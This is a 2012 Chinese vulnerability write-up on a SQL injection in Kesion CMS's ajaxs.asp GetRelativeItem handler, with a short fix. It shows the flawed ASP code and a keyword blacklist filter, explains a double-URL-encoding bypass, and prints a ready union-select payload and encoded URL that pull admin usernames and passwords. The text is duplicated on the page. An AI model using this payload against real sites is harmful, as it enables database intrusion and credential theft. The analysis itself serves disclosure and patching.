Kesion cms注入漏洞分析及其修复方案
发布时间:2012-07-07 17:52:18 作者:ywledoc 我要评论
Kesion cms注入漏洞.我们来分析一下
(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun)
函数过滤混乱导致注入
Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先进行了过滤,然后才调用UnEscape解码,
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function
如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
转换如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。
复制代码
代码如下:Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先进行了过滤,然后才调用UnEscape解码,
复制代码
代码如下:Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function
如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
转换如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。
相关文章
DedeCMS全版本通杀SQL注入漏洞利用代码及工具2014年2月28日
近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,大家早点去官方下载补丁2014年2月28日2014-02-28- 在本文中,我们将探讨为什么这些设备容易受到攻击,现在有多少恶意网络攻击是瞄准路由器、交换机和防火墙的以及企业应该采取什么措施来保护其网络2013-12-11
- 最近看到网上曝出的dedecms最新版本的一个注入漏洞利用,漏洞PoC和分析文章也已在网上公开.但是在我实际测试过程当中,发现无法复现2013-06-11
- 本文简要的分析nginx+cgi解析php容易出现的漏洞2012-10-25
- 我们来分析一下163邮箱记事本存储型Xss漏洞分析与补救措施2012-10-23
- 偶尔在网上看到这些,拿来和大家一块看看,也好让各个站长懂得保护自己的网站2012-10-16
微软发布Fix it工具修复IE7/8/9漏洞 ie用户请尽快修复(0day漏洞)
日前有安全机构曝光了IE浏览器的一个0day漏洞,利用这个0day漏洞(CVE-2012-4681)攻击者可以绕过Windows的ASLR(地址空间布局随机化)防护机制,访问用户曾访问过的计算机2012-09-20- 过去,网站的内容大多是静态的。随着HTML5的流行,Web应用进入一个崭新阶段,内容的动态化和实时共享让阻拦不良内容或恶意软件变得更加复杂,公司和个人的重要信息也被暴于2012-08-23
WEBSHELL箱子系统V1.0收信箱子代码漏洞分析及解决方法
来分析一下WEBSHELL箱子系统的漏洞2012-08-17- 过去,网站的内容大多是静态的。随着HTML5的流行,Web应用进入一个崭新阶段,内容的动态化和实时共享让阻拦不良内容或恶意软件变得更加复杂,公司和个人的重要信息也被暴于2012-08-09
最新评论